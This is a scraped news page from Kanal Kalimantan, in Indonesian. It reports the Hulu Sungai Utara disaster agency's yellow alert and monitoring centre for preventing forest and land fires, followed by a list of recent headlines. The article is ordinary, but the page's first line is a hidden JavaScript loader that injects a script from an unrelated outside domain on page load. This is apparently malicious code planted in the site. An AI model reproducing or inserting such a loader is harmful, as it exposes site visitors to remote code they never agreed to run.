(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pasang Lampu Kuning, BPBD HSU Siagakan Pusdalops Cegah Karhutla


KANALKALIMANTAN, AMUNTAI – Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Hulu Sungai Utara (HSU) bersama tim mulai memasang lampu kuning melalui pusat Pengendalian Operasi Penanggulangan Bencana (Pusdalops).

Memastikan pencegahan dan penanggulangan di sejumlah daerah rawan kebakaran hutan dan lahan (Karhutla) di Kabupaten HSU.

Kepala Pelaksana BPBD HSU Sugeng Riyadi menyebutkan pihaknya bersama tim menyusun rencana strategi dalam pencegahan Karhutla di Kabupaten HSU.

Ia menyebut memasuki bulan Juni kemarau sudah terasa di beberapa kecamatan yang menjadi daerah rawan kebakaran, bahkan sudah ada di beberapa titik yang terkena kebakaran lahan.

 

 

“Untuk wilayah HSU dari 10 kecamatan yang perlu kita waspadai dimana beberapa titik yang rentan akan terjadinya Karhutla, yaitu kecamatan Banjang, Haur Gading, Amuntai Tengah, Danau Panggang, Paminggir dan Amuntai Selatan,” kata Sugeng saatrapat koordinasi bersama dinas dan instansi terkait dalam mencegah terjadi Karhutla, Kamis (8/7/2021).

Sugeng menjelaskan, dari pantauan BPBD HSU penyebab terjadinya Karhutla khususnya di wilayah HSU cenderung berawal dari unsur kesengajaan dan tidak disengaja.

“Sampai sejauh ini 90% dari terjadinya karhutla adalah dari unsur kesengajaan, ulah dari manusia itu sendiri, salah satunya dengan membuka lahan dengan cara dibakar, kurangnya pengawasan dari pembakaran itu sendiri maka terbakarnya lahan itu terlalu luas,” jelasnya.

Dalam rangka pencegahan Karhutla, BPBD HSU mulai melakukan rangkaian kegiatan, salah satu kegiatan yang sedang berjalan adalah Pusat Pengendalian Operasi Penanggulangan Bencana (Pusdalops). Pusdalops setiap hari ada petugas piket yang bertugas mengawasi lahan-lahan dari satelit untuk mendapatkan data, kalau ada ancaman dari titik api yang berpotensi terjadi karhutla.

“Kita juga bekerja sama dengan TNI, Polri dan Manggala Agni. Satu bulan penuh anggota BPBD HSU melakukan patroli di lokasi rentan Karhutla,” kata Sugeng.

Ia juga menghimbau kepada seluruh masyarakat untuk tidak membakar lahan karena sudah ada aturan yang jelas dan akan ditindak tegas bagi pelanggar.

“Jangan sampai lagi kita temui pembakaran lahan dengan unsur kesengajaan yang beresiko tinggi dan merugikan kita semua,” tegas Sugeng. (kanalkimantan.com/dew)

Reporter: dew
Editor : bie


Al Ghifari

Recent Posts

Lomba Mancing Ikan di Sungai Kemuning Meriahkan HUT ke-17 Kecamatan Banjarbaru Selatan

KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More

1 jam ago

Peduli Korban Kebakaran di Cempaka, Srikandi PLN Salurkan Bantuan Perlengkapan Dapur

KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More

2 jam ago

Bupati dan Wabup Banjar Hadiri Haul Ke-86 Datu Kasyful Anwar

KANALKALIMANTAN.COM, MARTAPURA - Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH… Read More

7 jam ago

Lelaki di Banjarmasin Habisi Kakak Ipar, Jasad Dibuang ke Wilayah Kintap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian dari Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin mengungkap kasus pembunuhan yang… Read More

7 jam ago

Tingkatkan Capaian Akses Layanan Air Limbah dan Air Minum, Dinas PUPR Kalsel Gelar Workshop

KANALKALIMANTAN.COM, BANJARBARU - Workshop Implementasi Jastrada Air Minum Provinsi Kalsel tahun 2024 di Banjarmasin digelar… Read More

1 hari ago

Ikuti Festival Tunas Bahasa Ibu Nasional di jakarta, Murid SDN Indrasari 2 Audiensi ke Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Murid kelas 5 SDN Indrasari 2 Martapura, M Royan bersama guru dan… Read More

1 hari ago

This website uses cookies.